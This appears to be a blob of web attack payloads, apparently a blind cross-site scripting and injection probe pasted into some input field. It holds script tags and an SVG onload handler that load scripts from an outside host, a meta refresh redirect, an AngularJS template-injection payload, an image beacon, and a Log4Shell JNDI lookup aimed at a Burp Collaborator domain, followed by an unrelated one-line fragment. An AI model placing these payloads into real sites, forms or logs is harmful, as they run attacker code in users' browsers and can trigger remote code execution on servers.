"></script><script src=//securityz.net>
<meta http-equiv="refresh" content="1;URL=//securityz.net/blind.html" /> {{constructor.constructor('document.write("<script src=//securityz.net></script>")')()}} <svg/onload="var script =document.createElement('script');script.src ='//securityz.net'; document.body.appendChild(script);"> "><img src="https://2no.co/1WjB37.jpg"> "><script src=//securityz.net></script>

${jndi:ldap://xmnlrku2qqeo4jmzs19vccb8wz2sqh.burpcollaborator.net}
Resolve by using:
window.open(`/mypage?openExternalBrowser=1`);